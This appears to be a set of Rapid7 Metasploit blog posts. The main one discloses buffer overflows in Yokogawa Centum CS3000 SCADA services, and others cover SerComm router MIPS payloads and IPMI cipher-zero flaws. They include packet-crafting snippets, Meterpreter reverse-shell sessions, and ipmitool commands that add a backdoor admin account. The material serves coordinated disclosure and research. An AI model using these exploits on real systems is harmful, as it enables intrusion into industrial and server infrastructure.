  • R7-2013-19.3 - BKHOdeq.exe Stack Based Buffer Overflow: The "BKHOdeq.exe" service, started when running the "FCS / Test Function" listens by default on TCP/20109 and TCP/20171. By sending a specially crafted packet to the port TCP/20171 it’s possible to trigger a stack based buffer overflow which allows execution of arbitrary code with the privileges of the CENTUM user.
  • R7-2013-19.4 - BKBCopyD.exe Stack Based Buffer Overflow: The Yokogawa Centum CS3000 solution uses different services in order to provide all its functionality. The “BKBCopyD.exe” service, started when running the “FCS / Test Function”, listens by default on TCP/20111. By sending a specially crafted packet to the port TCP/20111 it’s possible to trigger a stack based buffer overflow which allows execution of arbitrary code with the privileges of the CENTUM user.

 

Disclosure Timeline

 

DateDescription
Dec 27, 2013Initial disclosure to the vendor, Yokogawa
Jan 13, 2014Disclosure to CERT/CC
Jan 14, 2014CERT/CC assigns VU#479196 and forwards details to JPCERT
Feb 03, 2014

CERT/CC confirms JPCERT and ICS-CERT are coordinating the vulnerabilities.

ICS-CERT tracking #: ICS-VU-205881

JPCERT tracking #: JVNVU#98181377, JPECERT#98191377

Mar 07, 2014Yokogawa advisory published (PDF).
Mar 10, 2014Metasploit modules published in Pull Request #3081

Technical Analysis

 

R7-2013-19.1 - BKCLogSvr.exe Heap Based Buffer Overflow

 

The BKLogSvr service listens on the UDP/52302, where expects packets sending

logs, of no more than 1024 bytes, as can be seen on the next assembly from

libbkclogsvr.dll (IDA notation):

 

.text:61DC1283                push    eax            ; fromlen
.text:61DC1284                mov    eax, s
.text:61DC1289                push    ecx            ; from
.text:61DC128A                push    0              ; flags
.text:61DC128C                lea    edx, [esp+42Ch+buf]
.text:61DC1290                push    400h            ; len - packets including logs of 1024 bytes as much
.text:61DC1295                push    edx            ; buf
.text:61DC1296                push    eax            ; s
.text:61DC1297                mov    [esp+438h+fromlen], 10h
.text:61DC129F                call    recvfrom
















 

There is a log packet sample:

 

"\x96\x00\x00\x00\x00\x00\x00\x00\x48\x41\x53\x00\x00\x00\x00\x00"    #........ HIS.....

"\x00\x00\x00\x00\x00\x00\x00\x00\x4c\x4f\x47\x00\x00\x00\x00\x00"    #........ LOG.....

"\x32\x30\x31\x33\x2f\x31\x31\x2f\x30\x39\x20\x31\x39\x3a\x32\x31"    #2013/11/ 09 19:21

"\x3a\x34\x32\x20\x2b\x30\x31\x3a\x30\x30\x2c\x45\x56\x45\x4e\x54"  #:42 +01: 00,EVENT

"\x2c\x30\x78\x30\x30\x30\x30\x30\x30\x30\x30\x2c\x3c\x42\x4f\x53"    #,0x00000 000,<BOS

"\x53\x56\x43\x3e\x20\x2c\x43\x3a\x5c\x43\x53\x33\x30\x30\x30\x5c"  #SVC> ,C: \CS3000\

"\x50\x52\x4f\x47\x52\x41\x4d\x5c\x42\x4b\x48\x42\x6f\x73\x53\x76"    #PROGRAM\ BKHBosSv

"\x63\x2e\x65\x78\x65\x3a\x42\x6f\x73\x53\x76\x63\x4d\x61\x69\x6e"  #c.exe:Bo sSvcMain

"\x3a\x32\x36\x32\x33\x2c\x22\x73\x74\x61\x74\x75\x73\x20\x3a\x20"  #:2623,"s tatus :

"\x42\x4f\x4f\x54\x22\x22"                                                                   #BOOT".

 

The meaning of the several fields, according to our understanding, is it:

 

OffsetField
0x0Size
0x4Unknown
0x8Source
0x18Level
0x20Message

 

The heap overflow occurs while handling the creation of the path where the log will be stored. The allocation for the memory happens on sub_61DC15A0 (IDA Notation), and it’s a buffer of size 0x1b8:

 

.text:61DC16A7                push    1B8h            ; Size
.text:61DC16AC                call    ds:malloc      ; malloc memory: 0x1b8
















 

When sending two consecutive packets with a long Level field, coalescing both Level and Message fields, an overflow happens after the allocation, in a strcpy style copy, resulting in the next crash:

 

0:005> g
(c24.a6c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\CS3000\LIBRARY\libbkclogsvr.dll -
eax=00000344 ebx=01846e48 ecx=000000ae edx=01846f9c esi=023af7a8 edi=01847000
eip=61dc1709 esp=023af708 ebp=0183de48 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
libbkclogsvr!BKCLogSvrLibResume+0x549:
61dc1709 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:004> db esi
023af7a8 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
023af7b8 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
023af7c8 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
023af7d8 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
023af7e8 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
023af7f8 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
023af808 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
023af818 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0:004> db edi
01847000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
01847010 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
01847020 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
01847030 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
01847040 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
01847050 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
01847060 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
01847070 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
0:004> db edi - 10
01846ff0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
01847000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
01847010 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
01847020 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
01847030 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
01847040 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
01847050 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
01847060 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
0:004> !heap -p -a edi
address 01847000 found in
_DPH_HEAP_ROOT @ 17d1000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
17d19a4: 1846e48 1b8 - 1846000 2000
7c918f01 ntdll!RtlAllocateHeap+0x00000e64
77c2c3c9 msvcrt!_heap_alloc+0x000000e0
77c2c3e7 msvcrt!_nh_malloc+0x00000013
77c2c42e msvcrt!malloc+0x00000027
61dc16b2 libbkclogsvr!BKCLogSvrLibResume+0x000004f2
















 

At the moment of the overflow, the source of the data points to controlled data from the malformed Level/Message field.

 

But in order to trigger the overflow, two consecutive packets are needed. The explanation is on the stack, and how the function doesn’t take care of a correct initialization of local variables:

 

.text:61DC16E3                lea    edi, [esp+450h+var_440] ; origin for the copy comes from here, uninitialized stack is the root cause of the overflow being exploitable.
.text:61DC16E7                xor    eax, eax
.text:61DC16E9                lea    edx, [ebx+12Ch]
.text:61DC16EF                repne scasb
.text:61DC16F1                not    ecx
.text:61DC16F3                sub    edi, ecx
.text:61DC16F5                push    104h
.text:61DC16FA                mov    eax, ecx
.text:61DC16FC                mov    esi, edi
.text:61DC16FE                shr    ecx, 2
.text:61DC1701                mov    edi, edx
.text:61DC1703                lea    edx, [ebx+154h]
.text:61DC1709                rep movsd              ; overflow happens here
















 

The origin for the copy is a local variable, stored on the stack, which has not been initialized previously. So if malicious data can be stored on the stack, the overflow happens. It’s possible to put malicious data on the stack by sending consecutive malicious packets.

 

As has been already explained, in order to exploit the dangerous strcpy controlled data need to be stored in the stack previously in order to abuse the uninitialized local variables. In order to accomplish it two consecutive, malformed packets, can be sent to the server:

 

    test = [1024].pack("V")            # packet length
    test << "AAAA"                      # Unknown
    test << "SOURCE\x00\x00"            # Source
    test << "\x00" * 8                  # Padding
    test << "B" * (1024 - test.length)  # Level & Message coalesced
















 

When the first packet is processed by the vulnerable function, it is the stack (origin for the dangerous copy):

 

0:005> g

Breakpoint 0 hit

eax=00000000 ebx=005c4008 ecx=ffffffff edx=005c0608 esi=00a9f75d edi=005c41c0

eip=61dc16e3 esp=00a9f70c ebp=00000000 iopl=0 nv up ei ng nz na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286

libbkclogsvr!BKCLogSvrLibResume+0x523:

61dc16e3 8d7c2410 lea edi,[esp+10h]

0:004> t

eax=00000000 ebx=005c4008 ecx=ffffffff edx=005c0608 esi=00a9f75d edi=00a9f71c

eip=61dc16e7 esp=00a9f70c ebp=00000000 iopl=0 nv up ei ng nz na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286

libbkclogsvr!BKCLogSvrLibResume+0x527:

61dc16e7 33c0 xor eax,eax

0:004> db edi

00a9f71c 53 4f 55 52 43 45 42 42-42 42 42 42 42 42 00 00 SOURCEBBBBBBBB..

00a9f72c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

00a9f73c 00 04 00 00 41 41 41 41-53 4f 55 52 43 45 00 00 ....AAAASOURCE..

00a9f74c 00 00 00 00 00 00 00 00-42 42 42 42 42 42 42 42 ........BBBBBBBB

00a9f75c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

00a9f76c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

00a9f77c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

00a9f78c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

 

Later, while processing this first packet, the stack is filled with the packet contents. It occurs when flushing the contents of the log:

 

.text:61DC1572 call ebx ; fflush ; Here is where the stack is filled with controlled data
.text:61DC1572 ;
.text:61DC1572 ; ChildEBP RetAddr Args to Child
.text:61DC1572 ; 00a9fab8 77c3035a 00000003 005c4298 000003e0 msvcrt!_write_lk+0xd6
.text:61DC1572 ; 00a9faf4 77c3edb2 00000003 005c4298 000003e0 msvcrt!_write+0x57
.text:61DC1572 ; 00a9fb14 77c3edf3 77c5fce0 00000000 00a9fb58 msvcrt!_flush+0x35
.text:61DC1572 ; 00a9fb24 77c3ef26 77c5fce0 77c40ed3 7c802530 msvcrt!_fflush_lk+0xf
.text:61DC1572 ; 00a9fb58 61dc1574 77c5fce0 00a9fb84 77c5fce0 msvcrt!fflush+0x30
.text:61DC1572 ; WARNING: Stack unwind information not available. Following frames may be wrong.
.text:61DC1572 ; 00a9fb60 00a9fb84 77c5fce0 0089fc60 005c3eb8 libbkclogsvr!BKCLogSvrLibResume+0x3b4
















 

When the second packet is processed by the vulnerable function, it is the stack (origin for the dangerous copy):

 

0:005> g

Breakpoint 0 hit

eax=00000000 ebx=005c5240 ecx=ffffffff edx=005c0608 esi=00a9f72a edi=005c53f8

eip=61dc16e3 esp=00a9f70c ebp=005c4008 iopl=0 nv up ei ng nz na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286

libbkclogsvr!BKCLogSvrLibResume+0x523:

61dc16e3 8d7c2410 lea edi,[esp+10h]

0:004> t

eax=00000000 ebx=005c5240 ecx=ffffffff edx=005c0608 esi=00a9f72a edi=00a9f71c

eip=61dc16e7 esp=00a9f70c ebp=005c4008 iopl=0 nv up ei ng nz na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286

libbkclogsvr!BKCLogSvrLibResume+0x527:

61dc16e7 33c0 xor eax,eax

0:004> db edi

00a9f71c 53 4f 55 52 43 45 42 42-42 42 42 42 42 42 42 42 SOURCEBBBBBBBBBB

00a9f72c 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB

00a9f73c 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB

00a9f74c 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB

00a9f75c 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB

00a9f76c 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB

00a9f77c 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB

00a9f78c 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB

0:004> g

(430.f50): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\CS3000\LIBRARY\LibBKCCommon.dll -

eax=00000000 ebx=00000104 ecx=ffffffff edx=00a9f3ec esi=00a9fa60 edi=42424242

eip=61e51708 esp=00a9f3d8 ebp=005c5248 iopl=0 nv up ei ng nz na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010286

LibBKCCommon!BKCGetLogDir+0x78:

61e51708 f2ae repne scas byte ptr es:[edi]

 

R7-2013-19.3 - BKHOdeq.exe Stack Based Buffer Overflow

 

The vulnerability exists in the function “sub_41EB60” (IDA notation), which makes an insecure memory copy, while reading lines from user controlled input:

 

int __cdecl vulnerable_sub_41EB60(int a1, int a2)
{
  int v2; // eax@1
  char v3; // cl@1
  int result; // eax@3
  int i; // edx@5


  v2 = a2;
  v3 = *(_BYTE *)a2;
  if ( *(_BYTE *)a2 != ':' || *(_BYTE *)(a2 + 1) != ':' )
  {
    for ( i = 0; v3 != '\n'; ++v2 ) // Dangerous loop, copying data to a stack buffer, until an end of line is found
    {
      if ( v3 == '\r' )
        break;
      *(_BYTE *)(i + a1) = v3; // Byte copy to the stack, without having destination size into account.
      v3 = *(_BYTE *)(v2 + 1);
      ++i;
    }
    *(_BYTE *)(i + a1) = 0;
    for ( result = v2 + 1; *(_BYTE *)result == '\n' || *(_BYTE *)result == '\r'; ++result )
      ;
  }
  else
  {
    result = 0;
  }
  return result;
}












 

The dangerous loop keeps copying data from the buffer pointed by the second argument, to the buffer pointed by the first argument, until a delimiter "\r" or "\n" is found.

By sending specially crafted data to the TCP/20171 port it’s possible to reach the vulnerable copy function with the first argument pointing to a static size buffer stored on the stack (destination) and the argument (origin) pointing to an arbitrary user data:

 

.text:0041DAAD                mov    eax, [esp+2280h+arg_4] ; user controlled data, user specified length (4 bytes)
.text:0041DAB4                lea    ecx, [esp+2280h+var_1D14] ; static buffer size on the stack
.text:0041DABB                push    eax
.text:0041DABC                push    ecx
.text:0041DABD                call    vulnerable_sub_41EB60









 

It’s possible to reach the vulnerable copy function by sending a specially crafted packet to TCP/20171. The packet must include a 16-byte fake header, where the bytes 4-7 allow setting an arbitrary data length:

 

header = "ABCD"                  # iMark

header << [data.length].pack("N") # Data length

header << "IJKL"                  # NumSet

header << "MN"                    # req

header << "OP"                    # Unknown

 

And the packet data, which can’t contain "\r", "\n" or ":"" characters in order to trigger memory corruption. The arbitrary data must be longer than the static buffer size on the stack, of course.

 

R7-2013-19.4 - BKBCopyD.exe Stack Based Buffer Overflow

 

The vulnerability exists on the function “sub_409EA0” (IDA notation), used while parsing several commands accepted for the BKBCopyD.exe TCP/20111 service. The vulnerable function tries to store a received command (and its argument) on memory. But it uses a dangerous vsprintf call to store a temporary copy of the full command on the stack, where the size of the buffer is no longer enough to store commands with long arguments:

 

int dangerous_sub_409EA0(int a1, const char *Format, ...)
{
  unsigned int v2; // edx@1
  int result; // eax@3
  char Dest; // [sp+8h] [bp-80h]@1
  va_list va; // [sp+94h] [bp+Ch]@1


  va_start(va, Format);
  vsprintf(&Dest, Format, va); // Dangerous vsprintf call
  v2 = strlen(&Dest);
  if ( (signed int)(dword_4230C0 + v2 + 1) > 1024 )
  {
    dword_4230C4 = (int)dword_4230C8;
    dword_4230C0 = 0;
  }
  strcpy((char *)dword_4230C4, &Dest);
  result = dword_4230C4 + v2 + 1;
  dword_4230C4 += v2 + 1;
  dword_4230C0 += v2 + 1;
  return result;
}















 

The vulnerable function is reachable through several commands which accept user provided arguments like:

 

  • STOR

 

.text:00405ED0                push    eax            ; Args
.text:00405ED1                push    offset aStorS  ; "STOR %s"
.text:00405ED6                push    ecx            ; int
.text:00405ED7                call    dangerous_sub_409EA0















 

  • RETR

 

.text:00405E1E                push    edx            ; Args
.text:00405E1F                push    offset aRetrS  ; "RETR %s"
.text:00405E24                push    esi            ; int
.text:00405E25                call    dangerous_sub_409EA0















 

  • PMODE

 

.text:004060A2                push    eax            ; Args
.text:004060A3                push    offset aPmodeS  ; "PMODE %s"
.text:004060A8                push    ecx            ; int
.text:004060A9                call    dangerous_sub_409EA0















 

  • ATTR

 

.text:004061D1                push    ecx            ; Args
.text:004061D2                push    offset aAttrS  ; "ATTR %s"
.text:004061D7                push    esi            ; int
.text:004061D8                call    dangerous_sub_409EA0















 

  • XATR

 

.text:0040627A                push    edx            ; Args
.text:0040627B                push    offset aXatrS  ; "XATR %s"
.text:00406280                push    esi            ; int
.text:00406281                call    dangerous_sub_409EA0















 

By sending specially crafted data to the TCP/20171 port it’s possible to reach the vulnerable copy function with the first argument pointing to a static size buffer stored on the stack (destination) and the argument (origin) pointing to an arbitrary user data:

 

.text:0041DAAD                mov    eax, [esp+2280h+arg_4] ; user controlled data, user specified length (4 bytes)
.text:0041DAB4                lea    ecx, [esp+2280h+var_1D14] ; static buffer size on the stack
.text:0041DABB                push    eax
.text:0041DABC                push    ecx
.text:0041DABD                call    vulnerable_sub_41EB60















 

Metasploit Modules

 

R7-2013-19.1 - BKCLogSvr.exe Heap Based Buffer Overflow

 

A proof of concept Metasploit module to trigger the Denial Of Service condition has been developed. However, a successful exploitation of the heap overflow could lead to arbitrary code execution with SYSTEM privileges.

 

msf > use auxiliary/dos/scada/yokogawa_logsvr
msf auxiliary(yokogawa_logsvr) > set RHOST 192.168.172.133
RHOST => 192.168.172.133
set verbose truemsf auxiliary(yokogawa_logsvr) > set verbose true
verbose => true
msf auxiliary(yokogawa_logsvr) > run


[*] Sending 10 packets...
[*] Sending 1/10...
[*] Sending 2/10...
[*] Sending 3/10...
[*] Sending 4/10...
[*] Sending 5/10...
[*] Sending 6/10...
[*] Sending 7/10...
[*] Sending 8/10...
[*] Sending 9/10...
[*] Sending 10/10...
[*] Auxiliary module execution completed
msf auxiliary(yokogawa_logsvr


) > 














 

R7-2013-19.3 - BKHOdeq.exe Stack Based Buffer Overflow

 

A working exploit has been developed for Yokogawa Centum CS3000 R3.08.50 (including DEP bypass in case needed), where is possible to gain arbitrary code execution, with the CENTUM user privileges, by corrupting the SEH handler stored in the stack. By default, a run of the Metasploit module will return a shell on the targeted system:

 

msf > use exploit/windows/scada/yokogawa_bkhodeq_bof
msf exploit(yokogawa_bkhodeq_bof) > set rhost 192.168.172.133
rhost => 192.168.172.133
msf exploit(yokogawa_bkhodeq_bof) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(yokogawa_bkhodeq_bof) > set lhost 192.168.172.1
lhost => 192.168.172.1
msf exploit(yokogawa_bkhodeq_bof) > exploit


[*] Started reverse handler on 192.168.172.1:4444
[*] Trying target Yokogawa Centum CS3000 R3.08.50 / Windows [ XP SP3 / 2003 SP2 ], sending 8689 bytes...
[*] Sending stage (769024 bytes) to 192.168.172.133
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.133:1185) at 2014-03-09 16:09:28 +0100


meterpreter > getuid
Server username: HIS0163\CENTUM
meterpreter > sysinfo
Computer        : HIS0163
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter    : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...









 

R7-2013-19.4 - BKBCopyD.exe Stack Based Buffer Overflow

 

Exploitation has been confirmed at least with the commands STOR, RETR and PMODE. By sending a command with a long argument it’s possible to overflow the EIP saved on the stack and gain code execution since there isn’t stack cookie protection on the vulnerable function. A working exploit has been developed for Yokogawa Centum CS3000 R3.08.50, where is possible to gain arbitrary code execution, with the CENTUM user privileges, by sending a specially crafted RETR command. Again, shells are to be had:

 

msf> use exploit/windows/scada/yokogawa_bkbcopyd_bof
msf exploit(yokogawa_bkbcopyd_bof) > set RHOST 192.168.172.133
RHOST => 192.168.172.133
msf exploit(yokogawa_bkbcopyd_bof) > check
[*] The target service is running, but could not be validated.
msf exploit(yokogawa_bkbcopyd_bof) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(yokogawa_bkbcopyd_bof) > set LHOST 192.168.172.1
LHOST => 192.168.172.1
msf exploit(yokogawa_bkbcopyd_bof) > exploit


[*] Started reverse handler on 192.168.172.1:4444
[*] Trying target Yokogawa Centum CS3000 R3.08.50 / Windows XP SP3, sending 458 bytes...
[*] Sending stage (770048 bytes) to 192.168.172.133
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.133:1384) at 2014-03-03 12:20:54 -0600


meterpreter > getuid
Server username: HIS0163\CENTUM
meterpreter > sysinfo
Computer        : HIS0163
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter    : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...


[*] 192.168.172.133 - Meterpreter session  cosed.  Reason: User exit














 

Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions or comments.

First of all let me share with all you, I'm really excited to write this blog post! This week RootedCON 2014 will be happening in Spain and we got a talk accepted with @julianvilas! The talk's title is not very self-explanatory: "Kicking SCADA Around." So, in case you are interested in attending here is a little more information about the presentation.

 

We plan to share with the audience our experience while dissecting a widely used SCADA product (the product's name won't be disclosed until the talk!). Some interesting points we will speak on include:

 

  • How we managed to work together while living at more than 5,000 miles apart. We plan to share with you the time invested, tools and work methodology used to make this happen!
  • The SCADA "learning" experience. Honestly, when you're in front of a SCADA (project designer) product, it's not like sit down in front of a browser explorer, an instant messaging application, or an IDE for first time! The learning curve is hard, and we plan to share our experience!
  • Of course, we'll be speaking about reversing, vulnerability discovery, exploiting, and disclosure. In case you're asking, yes, we'll be giving details about new vulnerabilities and publishing exploits. Expect live Metasploit demos!
  • As Carlos Perez used to say: "the shell is only the beginning", and that's true! We'll be reviewing some post-exploitation techniques available with Meterpreter in order to maximize fun and profit in SCADA environments!
  • Finally, but not least, one thing we asked ourselves was: "Does our work matter to the world?" We tried to answer ourselves and we'll be sharing our conclusions with you. At the moment we just will say: #ScanAllTheThings!

 

In case you are planning to attend RootedCON, hope to see you there! On the other hand, if you're around, please stop and say "hola!" If you would like to share conversation and ideas about information security, Metasploit, vulnerabilities, exploiting or something else! See you in Madrid soon!

Last year we worked hard to improve the embedded devices capabilities available on Metasploit collaborating with awesome guys like m-1-k-3 to add new modules and capabilities, collaborating and conducting research like in the IPMI related work by HD Moore, or sharing exploiting war stories. And looks like this year won't be different at all.

 

At the beginning of 2014, Eloi Vanderbeken published an awesome research related to a service included on several SerComm based routers, allowing dangerous features like configuration dumping or arbitrary command execution, all of that without authentication!

 

Soon, one of our regular contributors, Matt Andreko, put ready three awesome Metasploit modules in order to detect and exploit the weaknesses:

 

 

He did awesome work, not only writing the modules, but also helping to test all of them in a wide range of devices! You definitely should check his write-up about these modules.

 

Meanwhile, here in Metasploit, we used this new embedded device's story to improve the existent MIPS based payloads and encoders through both optimization and bug fixing. If you're interested in that sort of thing, you can check the commit histories here:

 

  • PR #2832: Makes null free the shell_reverse_tcp single payload for MIPS Little Endian.
  • PR #2844: Fixes an erroneous usage of a temporary register on the shell_reverse_tcp single payload for MIPS Big Endian.
  • PR #2846: Several optimizations and small fixes for the shell_bind_tcp single payload for MIPS Little Endian.
  • PR #2847: Adds a null free single shell_bind_tcp payload for MIPS Big Endian.
  • PR #2849: Fixes the Architecture of the MIPS XOR Byte encoder which we added last year.

 

Also, we've added the new shell/reverse_tcp staged payloads for linux MIPS platforms. You can check the full history on the PR #2881.

 

MIPS is a common architecture on embedded devices and home routers land, so hope all these bunch of fixes and new payloads will make easier for people to evaluate their own exploitability!

 

For sure, this year will be more news related to embedded devices and MIPS exploitation on Metasploit. In the meanwhile, don't forget to check your SerComm based devices:

 

1) Search for Devices

 

screenshot_scanner.png

 

2) One found, so dump its configuration.

 

screenshot_dump.png

 

3) Profit! For example, use the information, like the web management credentials, for easy fingerprint.

 

Screen Shot_webadmin.png

 

4) Get your session!

 

screenshot_session.png

 

Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions or comments. Also, don't forget to say thanks to Matt Andreko for his last Metasploit collaboration!

This post is the sixth in a series, 12 Days of HaXmas, where we take a look at some of more notable advancements in the Metasploit Framework over the course of 2013.

 

This year, infosec superstars Dan Farmer and HD Moore have been making an impressive effort to spread the warnings around the Baseboard Management Controllers (BMCs), used to provide remote management capabilities for servers and installed in nearly all servers manufactured today, and the Intelligent Platform Management Interface (IPMI), the server management protocol running on the BMC. Dan Farmer published a paper on IPMI and BMC security, disclosing several issues found while reviewing the security of the IPMI network protocol that uses UDP port 623. HD put together a set of methods and Metasploit modules available to exploit various of the issues with IPMI. The issues allow IPMI anonymous authentication due to default credentials, retrieve password hashes, and bypass authentication on IPMI 2.0 with the use of cipher type 0.


Let me remind you how to exploit the "Cipher 0" issue because it is nifty! You can just use the ipmi_cipher_zero module to identify systems that have cipher 0 enabled:


  
$ msfconsole
 
       =[ metasploit v4.7.0-dev [core:4.7 api:1.0]
+ -- --=[ 1119 exploits - 638 auxiliary - 179 post
+ -- --=[ 309 payloads - 30 encoders - 8 nops
 
msf> use auxiliary/scanner/ipmi/ipmi_cipher_zero
msf auxiliary(ipmi_cipher_zero) > set RHOSTS 10.0.0.0/24
msf auxiliary(ipmi_cipher_zero) > run
[*] Sending IPMI requests to 10.0.0.0->10.0.0.255 (256 hosts)
[+] 10.0.0.99:623 VULNERABLE: Accepted a session open request for cipher zero
[+] 10.0.0.132:623 VULNERABLE: Accepted a session open request for cipher zero
[+] 10.0.0.141:623 VULNERABLE: Accepted a session open request for cipher zero
[+] 10.0.0.153:623 VULNERABLE: Accepted a session open request for cipher zero


And then use the standard "ipmitool" command-line interface and a valid username to create a backdoor account:


  
$ ipmitool -I lanplus -H 10.0.0.99 -U Administrator -P FluffyWabbit user list
Error: Unable to establish IPMI v2 / RMCP+ session
Get User Access command failed (channel 14, user 1)
 
$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user list
ID  Name         Callin  Link Auth    IPMI Msg   Channel Priv Limit
1   Administrator    true    false      true       ADMINISTRATOR
2   (Empty User)     true    false      false      NO ACCESS
 
$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user set name 2 hdm
$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user set password 2 password
$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user priv 2 4
$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user enable 2
 
$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user list
ID  Name         Callin  Link Auth    IPMI Msg   Channel Priv Limit
1   Administrator    true    false      true       ADMINISTRATOR
2   hdm              true    false      true       ADMINISTRATOR
 
$ ssh hdm@10.0.0.99
hdm@10.0.0.99's password: password
 
User:hdm logged-in to ILOMXQ3469216(10.0.0.99)
iLO 4 Advanced Evaluation 1.13 at  Nov 08 2012
Server Name: host is unnamed
Server Power: On
 
</>hpiLO->

 

Simple and powerful! Remember, at the time of release Dan and HD found 53,000 IPMI 2.0 systems vulnerable to password bypass due to Cipher 0. If you haven't done so already, you might consider starting the year reviewing the FAQ about the BMC and IPMI research, Dan's paper, and HD Moore's penetration tester's guide!!

 

Not having enough with this research, later this same year HD Moore published the results of a security analysis on the Supermicro IPMI firmware, used in the baseboard management controller (BMC) of many Supermicro motherboards. In this analysis HD found usage of static encryption keys, hardcoded credentials, and several issues on the web management interface, including overflows, of course!

 

Exploiting memory corruption on these ARM-based embedded devices is really a challenging exercise which includes emulation, live exploitation, and keeping a lot of assembly in your head! If you would like to dig into the details, we published a journey into the exploiting too!

 

All in all, an impressive body of research which is worth to check carefully. In the meantime, I'm pretty sure these heavyweights will be working on more and awesome stuff... can't wait until see what 2014 offers the security community!

Filter Blog

By date: By tag: